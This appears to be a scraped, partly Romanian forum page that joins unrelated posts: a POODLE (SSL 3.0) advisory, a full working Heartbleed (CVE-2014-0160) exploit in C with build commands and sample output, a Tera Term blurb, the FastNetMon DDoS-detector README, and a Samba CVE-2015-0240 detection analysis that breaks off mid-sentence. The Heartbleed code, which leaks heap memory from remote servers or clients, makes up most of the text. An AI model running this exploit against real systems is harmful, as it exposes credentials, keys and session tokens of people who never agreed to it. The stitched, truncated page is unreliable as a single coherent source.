Search the Community

POODLE Revine in forta. Introduction SSL 3.0 [RFC6101] is an obsolete and insecure protocol. While for most practical purposes it has been replaced by its successors TLS 1.0 [RFC2246], TLS 1.1 [RFC4346], and TLS 1.2 [RFC5246], many TLS implementations remain backwards*compatible with SSL 3.0 to interoperate with legacy systems in the interest of a smooth user experience. The protocol handshake provides for authenticated version negotiation, so normally the latest protocol version common to the client and the server will be used. The POODLE Attack To work with legacy servers, many TLS clients implement a downgrade dance: in a first handshake attempt, offer the highest protocol version supported by the client? if this handshake fails, retry (possibly repeatedly) with earlier protocol versions. Unlike proper protocol version negotiation (if the client offers TLS 1.2, the server may respond with, say, TLS 1.0), this downgrade can also be triggered by network glitches, or by active attackers. So if an attacker that controls the network between the client and the server interferes with any attempted handshake offering TLS 1.0 or later, such clients will readily confine themselves to SSL 3.0. Recommendations The attack described above requires an SSL 3.0 connection to be established, so disabling the SSL 3.0 protocol in the client or in the server (or both) will completely avoid it. If either side supports only SSL 3.0, then all hope is gone, and a serious update required to avoid insecure encryption. If SSL 3.0 is neither disabled nor the only possible protocol version, then the attack is possible if the client uses a downgrade dance for interoperability. Impact The POODLE attack can be used against any system or application that supports SSL 3.0 with CBC mode ciphers. This affects most current browsers and websites, but also includes any software that either references a vulnerable SSL/TLS library (e.g. OpenSSL) or implements the SSL/TLS protocol suite itself. By exploiting this vulnerability in a likely web-based scenario, an attacker can gain access to sensitive data passed within the encrypted web session, such as passwords, cookies and other authentication tokens that can then be used to gain more complete access to a website (impersonating that user, accessing database content, etc.). Solution There is currently no fix for the vulnerability SSL 3.0 itself, as the issue is fundamental to the protocol; however, disabling SSL 3.0 support in system/application configurations is the most viable solution currently available. Some of the same researchers that discovered the vulnerability also developed a fix for one of the rerequisite conditions; TLS_FALLBACK_SCSV is a protocol extension that prevents MITM attackers from being able to force a protocol downgrade. OpenSSL has added support for TLS_FALLBACK_SCSV to their latest versions and recommend the following upgrades: - OpenSSL 1.0.1 users should upgrade to 1.0.1j. - OpenSSL 1.0.0 users should upgrade to 1.0.0o. - OpenSSL 0.9.8 users should upgrade to 0.9.8zc. Both clients and servers need to support TLS_FALLBACK_SCSV to prevent downgrade attacks. Other SSL 3.0 implementations are most likely also affected by POODLE. Contact your vendor for details. Additional vendor information may be available in the National Vulnerability Database (NVD) entry for CVE-2014-3566 or in CERT Vulnerability Note VU#577193.[7] Vulnerable TLS implementations need to be updated. CVE ID assignments and vendor information are also available in the NVD.[8] Exploit /* * Heartbleed OpenSSL information leak exploit * ========================================================= * This exploit uses OpenSSL to create an encrypted connection * and trigger the heartbleed leak. The leaked information is * returned within encrypted SSL packets and is then decrypted * and wrote to a file to annoy IDS/forensics. The exploit can * set heartbeat payload length arbitrarily or use two preset * values for NULL and MAX length. The vulnerability occurs due * to bounds checking not being performed on a heap value which * is user supplied and returned to the user as part of DTLS/TLS * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to * 1.0.1f are known affected. You must run this against a target * which is linked to a vulnerable OpenSSL library using DTLS/TLS. * This exploit leaks upto 65535 bytes of remote heap each request * and can be run in a loop until the connected peer ends connection. * The data leaked contains 16 bytes of random padding at the end. * The exploit can be used against a connecting client or server, * it can also send pre_cmd's to plain-text services to establish * an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients * will often forcefully close the connection during large leak * requests so try to lower your payload request size. * * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g * * E.g. * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed * $ ./heartbleed -s 192.168.11.23 -p 443 -f out -t 1 * [ heartbleed OpenSSL information leak exploit * [ ============================================================= * [ connecting to 192.168.11.23 443/tcp * [ connected to 192.168.11.23 443/tcp * [ <3 <3 <3 heart bleed <3 <3 <3 * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ heartbleed leaked length=65535 * [ final record type=24, length=16384 * [ wrote 16381 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=16408 * [ decrypting SSL packet * [ final record type=24, length=16384 * [ wrote 16384 bytes of heap to file 'out' * [ heartbeat returned type=24 length=42 * [ decrypting SSL packet * [ final record type=24, length=18 * [ wrote 18 bytes of heap to file 'out' * [ done. * $ ls -al out * -rwx------ 1 fantastic fantastic 65554 Apr 11 13:53 out * $ hexdump -C out * - snip - snip * * Use following example command to generate certificates for clients. * * $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ * -keyout server.key -out server.crt * * Debian compile with "gcc heartbleed.c -o heartbleed -Wl,-Bstatic \ * -lssl -Wl,-Bdynamic -lssl3 -lcrypto" * * todo: add udp/dtls support. * * - Beyondtrust * http://www.beyondtrust.com * */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <getopt.h> #include <signal.h> #include <netdb.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <inttypes.h> #include <openssl/bio.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/evp.h> #include <openssl/tls1.h> #include <openssl/rand.h> #include <openssl/buffer.h> #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \ (((unsigned int)(c[1])) )),c+=2) #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ c[1]=(unsigned char)(((s) )&0xff)),c+=2) int first = 0; int leakbytes = 0; int repeat = 1; int badpackets = 0; typedef struct { int socket; SSL *sslHandle; SSL_CTX *sslContext; } connection; typedef struct { unsigned char type; short version; unsigned int length; unsigned char hbtype; unsigned int payload_length; void* payload; } heartbeat; void ssl_init(); void usage(); int tcp_connect(char*,int); int tcp_bind(char*, int); connection* tls_connect(int); connection* tls_bind(int); int pre_cmd(int,int,int); void* heartbleed(connection* ,unsigned int); void* sneakyleaky(connection* ,char*, int); int tcp_connect(char* server,int port){ int sd,ret; struct hostent *host; struct sockaddr_in sa; host = gethostbyname(server); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd==-1){ printf("[!] cannot create socket\n"); exit(0); } sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr = *((struct in_addr *) host->h_addr); bzero(&(sa.sin_zero),8); printf("[ connecting to %s %d/tcp\n",server,port); ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr)); if(ret==0){ printf("[ connected to %s %d/tcp\n",server,port); } else{ printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port); exit(0); } return sd; } int tcp_bind(char* server, int port){ int sd, ret, val=1; struct sockaddr_in sin; struct hostent *host; host = gethostbyname(server); sd=socket(AF_INET,SOCK_STREAM,0); if(sd==-1){ printf("[!] cannot create socket\n"); exit(0); } memset(&sin,0,sizeof(sin)); sin.sin_addr=*((struct in_addr *) host->h_addr); sin.sin_family=AF_INET; sin.sin_port=htons(port); setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val)); ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin)); if(ret==-1){ printf("[!] cannot bind socket\n"); exit(0); } listen(sd,5); return(sd); } void ssl_init(){ SSL_load_error_strings(); SSL_library_init(); OpenSSL_add_all_digests(); OpenSSL_add_all_algorithms(); OpenSSL_add_all_ciphers(); } connection* tls_connect(int sd){ connection *c; c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc()\n"); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_client_method()); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); if(SSL_connect(c->sslHandle)!=1) ERR_print_errors_fp(stderr); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); } return c; } connection* tls_bind(int sd){ int bytes; connection *c; char* buf; buf = malloc(4096); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } memset(buf,0,4096); c = malloc(sizeof(connection)); if(c==NULL){ printf("[ error in malloc()\n"); exit(0); } c->socket = sd; c->sslHandle = NULL; c->sslContext = NULL; c->sslContext = SSL_CTX_new(SSLv23_server_method()); if(c->sslContext==NULL) ERR_print_errors_fp(stderr); SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); SSL_CTX_SRP_CTX_init(c->sslContext); SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM); SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM); if(!SSL_CTX_check_private_key(c->sslContext)){ printf("[!] FATAL: private key does not match the certificate public key\n"); exit(0); } c->sslHandle = SSL_new(c->sslContext); if(c->sslHandle==NULL) ERR_print_errors_fp(stderr); if(!SSL_set_fd(c->sslHandle,c->socket)) ERR_print_errors_fp(stderr); int rc = SSL_accept(c->sslHandle); printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle)); bytes = SSL_read(c->sslHandle, buf, 4095); printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf); if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){ printf("[ warning: heartbeat extension is unsupported (try anyway)\n"); } return c; } int pre_cmd(int sd,int precmd,int verbose){ /* this function can be used to send commands to a plain-text service or client before heartbleed exploit attempt. e.g. STARTTLS */ int rc, go = 0; char* buffer; char* line1; char* line2; switch(precmd){ case 0: line1 = "EHLO test\n"; line2 = "STARTTLS\n"; break; case 1: line1 = "CAPA\n"; line2 = "STLS\n"; break; case 2: line1 = "a001 CAPB\n"; line2 = "a002 STARTTLS\n"; break; default: go = 1; break; } if(go==0){ buffer = malloc(2049); if(buffer==NULL){ printf("[ error in malloc()\n"); exit(0); } memset(buffer,0,2049); rc = read(sd,buffer,2048); printf("[ banner: %s",buffer); send(sd,line1,strlen(line1),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s\n",buffer); } send(sd,line2,strlen(line2),0); memset(buffer,0,2049); rc = read(sd,buffer,2048); if(verbose==1){ printf("%s\n",buffer); } } return sd; } void* heartbleed(connection *c,unsigned int type){ unsigned char *buf, *p; int ret; buf = OPENSSL_malloc(1 + 2); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } p = buf; *p++ = TLS1_HB_REQUEST; switch(type){ case 0: s2n(0x0,p); break; case 1: s2n(0xffff,p); break; default: printf("[ setting heartbeat payload_length to %u\n",type); s2n(type,p); break; } printf("[ <3 <3 <3 heart bleed <3 <3 <3\n"); ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3); OPENSSL_free(buf); return c; } void* sneakyleaky(connection *c,char* filename, int verbose){ char *p; int ssl_major,ssl_minor,al; int enc_err,n,i; SSL3_RECORD *rr; SSL_SESSION *sess; SSL* s; unsigned char md[EVP_MAX_MD_SIZE]; short version; unsigned mac_size, orig_len; size_t extra; rr= &(c->sslHandle->s3->rrec); sess=c->sslHandle->session; s = c->sslHandle; if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER) extra=SSL3_RT_MAX_EXTRA; else extra=0; if ((s->rstate != SSL_ST_READ_BODY) || (s->packet_length < SSL3_RT_HEADER_LENGTH)) { n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0); if (n <= 0) goto apple; s->rstate=SSL_ST_READ_BODY; p=s->packet; rr->type= *(p++); ssl_major= *(p++); ssl_minor= *(p++); version=(ssl_major<<8)|ssl_minor; n2s(p,rr->length); if(rr->type==24){ printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length); if(rr->length > 16834){ printf("[ error: got a malformed TLS length.\n"); exit(0); } } else{ printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length); s->packet_length=0; badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved\n"); exit(0); } goto apple; } } if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){ i=rr->length; n=ssl3_read_n(s,i,i,1); if (n <= 0) goto apple; } printf("[ decrypting SSL packet\n"); s->rstate=SSL_ST_READ_HEADER; rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]); rr->data=rr->input; tls1_enc(s,0); if((sess != NULL) && (s->enc_read_ctx != NULL) && (EVP_MD_CTX_md(s->read_hash) != NULL)) { unsigned char *mac = NULL; unsigned char mac_tmp[EVP_MAX_MD_SIZE]; mac_size=EVP_MD_CTX_size(s->read_hash); OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE); orig_len = rr->length+((unsigned int)rr->type>>8); if(orig_len < mac_size || (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE && orig_len < mac_size+1)){ al=SSL_AD_DECODE_ERROR; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT); } if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){ mac = mac_tmp; ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len); rr->length -= mac_size; } else{ rr->length -= mac_size; mac = &rr->data[rr->length]; } i = tls1_mac(s,md,0); if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0) enc_err = -1; if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size) enc_err = -1; } if(enc_err < 0){ al=SSL_AD_BAD_RECORD_MAC; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC); goto apple; } if(s->expand != NULL){ if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG); goto apple; } if (!ssl3_do_uncompress(s)) { al=SSL_AD_DECOMPRESSION_FAILURE; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION); goto apple; } } if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) { al=SSL_AD_RECORD_OVERFLOW; SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG); goto apple; } rr->off=0; s->packet_length=0; if(first==0){ uint heartbleed_len = 0; char* fp = s->s3->rrec.data; (long)fp++; memcpy(&heartbleed_len,fp,2); heartbleed_len = (heartbleed_len & 0xff) << 8 | (heartbleed_len & 0xff00) >> 8; first = 2; leakbytes = heartbleed_len + 16; printf("[ heartbleed leaked length=%u\n",heartbleed_len); } if(verbose==1){ { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); } printf("\n"); } leakbytes-=rr->length; if(leakbytes > 0){ repeat = 1; } else{ repeat = 0; } printf("[ final record type=%d, length=%u\n", rr->type, rr->length); int output = s->s3->rrec.length-3; if(output > 0){ int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700); if(first==2){ first--; write(fd,s->s3->rrec.data+3,s->s3->rrec.length); /* first three bytes are resp+len */ printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length-3,filename); } else{ /* heap data & 16 bytes padding */ write(fd,s->s3->rrec.data+3,s->s3->rrec.length); printf("[ wrote %d bytes of heap to file '%s'\n",s->s3->rrec.length,filename); } close(fd); } else{ printf("[ nothing from the heap to write\n"); } return; apple: printf("[ problem handling SSL record packet - wrong type?\n"); badpackets++; if(badpackets > 3){ printf("[ error: too many bad packets recieved\n"); exit(0); } return; } void usage(){ printf("[\n"); printf("[ --server|-s <ip/dns> - the server to target\n"); printf("[ --port|-p <port> - the port to target\n"); printf("[ --file|-f <filename> - file to write data to\n"); printf("[ --bind|-b <ip> - bind to ip for exploiting clients\n"); printf("[ --precmd|-c <n> - send precmd buffer (STARTTLS)\n"); printf("[ 0 = SMTP\n"); printf("[ 1 = POP3\n"); printf("[ 2 = IMAP\n"); printf("[ --loop|-l - loop the exploit attempts\n"); printf("[ --type|-t <n> - select exploit to try\n"); printf("[ 0 = null length\n"); printf("[ 1 = max leak\n"); printf("[ n = heartbeat payload_length\n"); printf("[\n"); printf("[ --verbose|-v - output leak to screen\n"); printf("[ --help|-h - this output\n"); printf("[\n"); exit(0); } int main(int argc, char* argv[]){ int ret, port, userc, index; int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 9; int loop = 0; struct hostent *h; connection* c; char *host, *file; int ihost = 0, iport = 0, ifile = 0, itype = 0, iprecmd = 0; printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n"); printf("[ =============================================================\n"); static struct option options[] = { {"server", 1, 0, 's'}, {"port", 1, 0, 'p'}, {"file", 1, 0, 'f'}, {"type", 1, 0, 't'}, {"bind", 1, 0, 'b'}, {"verbose", 0, 0, 'v'}, {"precmd", 1, 0, 'c'}, {"loop", 0, 0, 'l'}, {"help", 0, 0,'h'} }; while(userc != -1) { userc = getopt_long(argc,argv,"s:p:f:t:b:c:lvh",options,&index); switch(userc) { case -1: break; case 's': if(ihost==0){ ihost = 1; h = gethostbyname(optarg); if(h==NULL){ printf("[!] FATAL: unknown host '%s'\n",optarg); exit(1); } host = malloc(strlen(optarg) + 1); if(host==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(host,"%s",optarg); } break; case 'p': if(iport==0){ port = atoi(optarg); iport = 1; } break; case 'f': if(ifile==0){ file = malloc(strlen(optarg) + 1); if(file==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(file,"%s",optarg); ifile = 1; } break; case 't': if(itype==0){ type = atoi(optarg); itype = 1; } break; case 'h': usage(); break; case 'b': if(ihost==0){ ihost = 1; host = malloc(strlen(optarg)+1); if(host==NULL){ printf("[ error in malloc()\n"); exit(0); } sprintf(host,"%s",optarg); bind = 1; } break; case 'c': if(iprecmd == 0){ iprecmd = 1; precmd = atoi(optarg); } break; case 'v': verbose = 1; break; case 'l': loop = 1; break; default: break; } } if(ihost==0||iport==0||ifile==0||itype==0||type < 0){ printf("[ try --help\n"); exit(0); } ssl_init(); if(bind==0){ ret = tcp_connect(host, port); pre_cmd(ret, precmd, verbose); c = tls_connect(ret); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop\n"); first=0; repeat=1; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done.\n"); exit(0); } else{ int sd, pid, i; ret = tcp_bind(host, port); while(1){ sd=accept(ret,0,0); if(sd==-1){ printf("[!] FATAL: problem with accept()\n"); exit(0); } if(pid=fork()){ close(sd); } else{ c = tls_bind(sd); pre_cmd(ret, precmd, verbose); heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } while(loop==1){ printf("[ entered heartbleed loop\n"); first=0; repeat=0; heartbleed(c,type); while(repeat==1){ sneakyleaky(c,file,verbose); } } printf("[ done.\n"); exit(0); } } } } Source

Project Description Tera Term is Tera Term Pro 2.3 succession version and is being officially recognized by the original author. Tera Term is open source free software terminal emulator supporting UTF-8 protocol. Now TTSSH supports SSH2 protocol (Original version supports SSH1). B?ie?a?i de la CISCO îl mai folosesc Deci cu progr?melu te conectezi la ce vrea mu?chiule?ul t?u , ssh , telnet etc.. Source: Tera Term Open Source Project Download: Download Files List - Tera Term - SourceForge.JP //:Edit: Version 4.86

Author: Pavel Odintsov pavel.odintsov at gmail.com My Twitter License: GPLv2 FastNetMon - A high performance DoS/DDoS and netflowk load analyzer built on top of multiple packet capture engines (netmap, PF_RING, sFLOW, Netflow, PCAP). What can we do? We can detect hosts in our own network with a large amount of packets per second/bytes per second or flow per second incoming or outgoing from certain hosts. And we can call an external script which can notify you, switch off a server or blackhole the client. Why did we write this? Because we can't find any software for solving this problem in the open source world! Install manual for any Linux Install manual for FreeBSD Install manual for Mac OS X Install manual for Slackware Features: Can process incoming and outgoing traffic Can trigger block script if certain IP loads network with a large amount of packets per second Can trigger block script if certain IP loads network with a large amount of bytes per second Can trigger block script if certain IP loads network with a large amount of flows per second netmap support (open source; wire speed processing; only Intel hardware NICs or any hypervisor VM type) PF_RING ZC/DNA support (wire speed processing on tens of MPPS but needs license) Can process sFLOW v5 Can process NetFlow v5, v9, ipfix Can use PCAP for packet sniffing Can work on mirror/SPAN ports Supports L2TP decapsulation, VLAN untagging and MPLS processing in mirror mode Can work on server/soft-router Can detect DoS/DDoS in 1-2 seconds Tested up to 10GE with 5-6 Mpps on Intel i7 2600 with Intel Nic 82599 Complete plugin support Supported platforms: Linux (Debian 6/7, CentOS 6/7, Ubuntu 12+) FreeBSD 9, 10, 11 Mac OS X Yosemite What is "flow" in FastNetMon terms? It's one or multiple udp, tcp, icmp connections with unique src IP, dst IP, src port, dst port and protocol. Main program screen image: Example for cpu load on Intel i7 2600 with Intel X540/82599 NIC on 400 kpps load: Example deployment scheme: Example of first notification: subject: Myflower Guard: IP xx.xx.xx.xx blocked because incoming attack with power 120613 pps body: IP: XX.XX.XX.XX Initial attack power: 98285 packets per second Peak attack power: 98285 packets per second Attack direction: outgoing Incoming traffic: 62 mbps Outgoing traffic: 65 mbps Incoming pps: 66628 packets per second Outgoing pps: 98285 packets per second Incoming flows: 16 Outgoing flows: 16 Incoming UDP xx.xx.xx.xx:33611 < 216.239.32.109:53 729021 bytes 5927 packets xx.xx.xx.xx:33611 < 216.239.34.109:53 231609 bytes 1883 packets xx.xx.xx.xx:33611 < 216.239.36.109:53 728652 bytes 5924 packets xx.xx.xx.xx:33611 < 216.239.38.109:53 414387 bytes 3369 packets xx.xx.xx.xx:38458 < 216.239.32.109:53 724347 bytes 5889 packets xx.xx.xx.xx:38458 < 216.239.34.109:53 222753 bytes 1811 packets xx.xx.xx.xx:38458 < 216.239.36.109:53 729267 bytes 5929 packets xx.xx.xx.xx:38458 < 216.239.38.109:53 383514 bytes 3118 packets xx.xx.xx.xx:42279 < 216.239.32.109:53 687201 bytes 5587 packets xx.xx.xx.xx:42279 < 216.239.34.109:53 248091 bytes 2017 packets xx.xx.xx.xx:42279 < 216.239.36.109:53 737508 bytes 5996 packets xx.xx.xx.xx:42279 < 216.239.38.109:53 321276 bytes 2612 packets xx.xx.xx.xx:51469 < 216.239.32.109:53 735663 bytes 5981 packets xx.xx.xx.xx:51469 < 216.239.34.109:53 237267 bytes 1929 packets xx.xx.xx.xx:51469 < 216.239.36.109:53 735663 bytes 5981 packets xx.xx.xx.xx:51469 < 216.239.38.109:53 318570 bytes 2590 packets Outgoing UDP xx.xx.xx.xx:33611 > 216.239.32.109:53 531309 bytes 6107 packets xx.xx.xx.xx:33611 > 216.239.34.109:53 531222 bytes 6106 packets xx.xx.xx.xx:33611 > 216.239.36.109:53 531222 bytes 6106 packets xx.xx.xx.xx:33611 > 216.239.38.109:53 531222 bytes 6106 packets xx.xx.xx.xx:38458 > 216.239.32.109:53 527220 bytes 6060 packets xx.xx.xx.xx:38458 > 216.239.34.109:53 527133 bytes 6059 packets xx.xx.xx.xx:38458 > 216.239.36.109:53 527133 bytes 6059 packets xx.xx.xx.xx:38458 > 216.239.38.109:53 527220 bytes 6060 packets xx.xx.xx.xx:42279 > 216.239.32.109:53 539052 bytes 6196 packets xx.xx.xx.xx:42279 > 216.239.34.109:53 539052 bytes 6196 packets xx.xx.xx.xx:42279 > 216.239.36.109:53 539139 bytes 6197 packets xx.xx.xx.xx:42279 > 216.239.38.109:53 539139 bytes 6197 packets xx.xx.xx.xx:51469 > 216.239.32.109:53 532701 bytes 6123 packets xx.xx.xx.xx:51469 > 216.239.34.109:53 532701 bytes 6123 packets xx.xx.xx.xx:51469 > 216.239.36.109:53 532701 bytes 6123 packets xx.xx.xx.xx:51469 > 216.239.38.109:53 532788 bytes 6124 packets Example of second notification: subject: Myflower Guard: IP xx.xx.xx.xx blocked because incoming attack with power 120613 pps body: IP: xx.zz.xx.1 2014-11-21 08:01:11.419798 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419799 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419816 xx.xx.xx.xx:51469 > 216.239.36.109:53 protocol: udp flags: size: 87 bytes 2014-11-21 08:01:11.419837 216.239.38.109:53 > xx.xx.xx.xx:33611 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419838 216.239.34.109:53 > xx.xx.xx.xx:33611 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419859 216.239.38.109:53 > xx.xx.xx.xx:42279 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419877 xx.xx.xx.xx:51469 > 216.239.38.109:53 protocol: udp flags: size: 87 bytes 2014-11-21 08:01:11.419884 216.239.38.109:53 > xx.xx.xx.xx:33611 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419891 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419906 216.239.38.109:53 > xx.xx.xx.xx:33611 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419907 216.239.38.109:53 > xx.xx.xx.xx:42279 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419908 216.239.38.109:53 > xx.xx.xx.xx:42279 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419916 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419917 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419929 216.239.38.109:53 > xx.xx.xx.xx:33611 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419961 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419962 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419963 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes 2014-11-21 08:01:11.419963 216.239.32.109:53 > xx.xx.xx.xx:38458 protocol: udp flags: size: 123 bytes To enable sFLOW simply specify IP of server with installed FastNetMon and specify port 6343. To enable netflow simply specify IP of server with installed FastNetMon and specify port 2055. How I can help project? Test it! Share your experience Share your improvements Test it with different equipment Create feature requests Link: https://github.com/FastVPSEestiOu/fastnetmon

Samba Remote Code Execution Vulnerability – CVE-2015-0240 The Samba team reported CVE-2015-0240 last February 23, 2015. This vulnerability is very difficult to exploit and we are not aware of successful exploitation. However, it is quite interesting from the point for view of detection. There are two important facts: The vulnerability resides in the Netlogon Remote Protocol implementation of Samba which is a very high-level application protocol that can be used over different transports configurations. To execute the vulnerable code the attacker doesn’t need be authenticated and can use many ways to launch the attacks because of the previous point. This is very motivating for attackers as they can find ways to bypass Intrusion Prevention System (IPS). There is a very good public description about the vulnerability, which can be found at this link. In this post, we will discuss it from the point of view of involved protocols and possible attack surfaces. Vulnerability description The vulnerability resides in the Netlogon Remote Protocol implementation of Samba, specifically in the method NetrServerPasswordSet. The Netlogon Remote Protocol was implemented for interoperability with Microsoft Windows environments and for simulating Primary Domain Controllers. Using the Netlogon Remote Protocol Windows and Linux machines can be part of the Samba PDC domain even without the use of Active Directory. The method NetrServerPasswordSet is used to change the machine account password in a Samba domain. The method NetrServerPasswordSet is implemented in _netr_ServerPasswordSet() in the source file samba\source3\rpc_server\netlogon\srv_netlog_nt.c. The “creds” pointer is passed into netr_creds_server_step_check() without initialization. The following figure shows the vulnerable code section: Figure 1. Vulnerable code section The triggering conditions can be different for Samba v3 and Samba v4 as pointed in this analysis. The attacker can control “computer_name” and “credentials” to reach the vulnerable code section making this vulnerability as possibly exploitable. There is a public POC triggering the vulnerable code. Running this POC and doing dynamic analysis shows that effectively the method _netr_ServerPasswordSet is called. The following figure shows the resumed call graph of Samba. Figure 2. Call graph of Samba Running Samba with high level debugging can allow us to get more runtime information. Example of a command: smbd –D –S /etc/samba/smb.conf -d 10 The following figure shows a section of the resulting log after running the POC. After some more lines we got: This error message is logged by the function schannel_fetch_session_key_tdb and returns the error with NT_STATUS_OBJECT_NAME_NOT_FOUND. This function is called by shannel_check_creds_state. Figure 4. The error NT_STATUS_OBJECT_NAME_NOT_FOUND The error NT_STATUS_OBJECT_NAME_NOT_FOUND will force _netr_ServerPasswordSet to free the “creds” pointer. Looking at the network packets in the following figure we can see the Netlogon Protocol using the transport RPC over SMB. Figure 5. Netlogon Protocol using the transport RPC over SMB And this is one important point regarding to the attack detection. The Netlogon protocol is a high-level application protocol and can use two transport types: RPC over SMB and RPC over TCP/IP. The next section discusses more about this topic. Attack Delivery Mechanisms The Netlogon Remote Protocol is a very high level application protocol that can run on different protocol stack configurations. The following figure shows it. Figure 6. Netlogon Protocol runs on different protocol stack configurations Figure 6 shows that theoretically, an attacker can use two stack configurations to reach the vulnerable code. They are: RPC over TCP/IP and RPC over SMB. These two configurations will use different network ports and communication mechanisms. This is a 